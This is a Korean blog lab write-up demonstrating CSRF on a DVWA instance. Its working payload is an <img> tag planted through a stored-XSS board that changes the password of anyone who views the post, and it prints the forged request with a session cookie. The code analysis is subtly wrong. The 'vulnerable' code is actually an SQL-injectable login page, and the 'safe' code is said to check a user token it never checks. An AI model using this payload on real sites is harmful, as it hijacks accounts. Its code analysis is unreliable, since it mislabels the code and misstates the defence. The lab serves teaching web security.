본문으로 바로가기

CSRF 실습 (DVWA 사용)

category 웹 공격 기법들/XSS & CSRF 2021. 2. 23. 04:11

CSRF

웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다.

 

일단 사용자가 웹사이트에 로그인한 상태에서 사이트간 요청 위조 공격 코드가 삽입된 페이지를 열면, 공격 대상이 되는 웹사이트는 위조된 공격 명령이 믿을 수 있는 사용자로부터 발송된 것으로 판단하게 되어 공격에 노출된다.

 

 

간단히 설명하자면 메일이나 게시판등을 우연히 들어가게 만드는것만으로도 회원 정보가 수정,삭제,등록 되게 끔 만드는 공격 기법이다.(단 로그인한 상태)

 

 

실습

 

1. 먼저 admin, admin으로 로그인 되는것을 확인한다.

id: admin
pw: admin

 

 

2. 이후 비밀번호를 aaaa로 바꿔준다.

id: admin
pw: aaaa

 

3. 바뀔때의 패킷을 분석해 보니 비밀번호 변경 기능에서 사용하는 URL 변수는 password_new password_conf임을 알 수 있다. 또한 cookie 값을 제대로 보내줘야한다.

 

4. 이후 admin,aaaa로 로그인 되는것을 볼 수 있다.

id:admin
pw:aaaa

 

5. 이제 공격을 위해 stored xss(게시판)에 비밀 번호가 1234로 바뀌게 하는 스크립트를 넣어주고 저장해준다

+message의 최대 길이는 html 조작으로 maxlength를 변경해주면 된다.

 

이같은 스크립트를 메일이나 모두가 보는 게시판등에 올린다면 더 파급력이 올라갈수 있다.
<img src="http://192.168.56.102/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change">

 

 

 

6.이제 저 저장된 글을 볼때마다 비밀번호를 바꾸게 할 수 있다.

 

지금은 변경권한을 다 가지고 있어서 파급력이 안커보이지만 만약 비밀번호변경 권한을 관리자만 가지고 있을때
관리자가 이글을 보게 된다면 관리자의 권한(cookie)으로 변경할수 있다는 얘기가 된다.

 

 

7. 스크립트가 저장된 페이지에 들어가면 다음과 같은 패킷이 보내지게 된다.

GET http://192.168.56.102/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
Host: 192.168.56.102
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.56.102/dvwa/vulnerabilities/xss_s/
Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: security=low; PHPSESSID=deviq1mdbmuvndf9opv10fp252

 

 

 

8.이후 변경된 pw를 확인할수 있다

id:admin
pw:1234

 

 

[이해를 돕기 위한 실습 영상]

 

 

코드 분석

 

취약한 코드

<?php

if( isset( $_GET['Login'] ) ) {

    $user = $_GET['username'];
    
    $pass = $_GET['password'];
    $pass = md5($pass);

    $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $i=0; // Bug fix.
        $avatar = mysql_result( $result, $i, "avatar" );

        // Login Successful
        echo "<p>Welcome to the password protected area " . $user . "</p>";
        echo '<img src="' . $avatar . '" />';
    } else {
        //Login failed
        echo "<pre><br>Username and/or password incorrect.</pre>";
    }

    mysql_close();
}

?>

 

위릐 코드를 보안상 높이기 위해서는 아래와 같이 기존 비밀번호를 입력 받으며 따로 사용자의 token을 확인하는 방법을 사용해야한다.

 

 

 

 

안전한 코드

아래의 코드는 CSRF 공격을 막기위한 user_token과 현재 비밀번호까지 알아야 하므로 CSRF 공격은 불가능하다.

<?php
            
    if (isset($_GET['Change'])) {
    
        // Turn requests into variables
        $pass_curr = $_GET['password_current'];
        $pass_new = $_GET['password_new'];
        $pass_conf = $_GET['password_conf'];

        // Sanitise current password input
        $pass_curr = stripslashes( $pass_curr );
        $pass_curr = mysql_real_escape_string( $pass_curr );
        $pass_curr = md5( $pass_curr );
        
        // Check that the current password is correct
        $qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
        $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

        if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){
            $pass_new = mysql_real_escape_string($pass_new);
            $pass_new = md5($pass_new);

            $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
            $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
                        
            echo "<pre> Password Changed </pre>";        
            mysql_close();
        }
    
        else{        
            echo "<pre> Passwords did not match or current password incorrect. </pre>";            
        }

    }
?>

 

 

 

 

참고:webhack.dynu.net/?idx=20161208.003

'웹 공격 기법들 > XSS & CSRF' 카테고리의 다른 글

XSS 실습(DVWA 사용)  (0) 2021.02.22
XSS와 CSRF에 대해  (0) 2021.01.16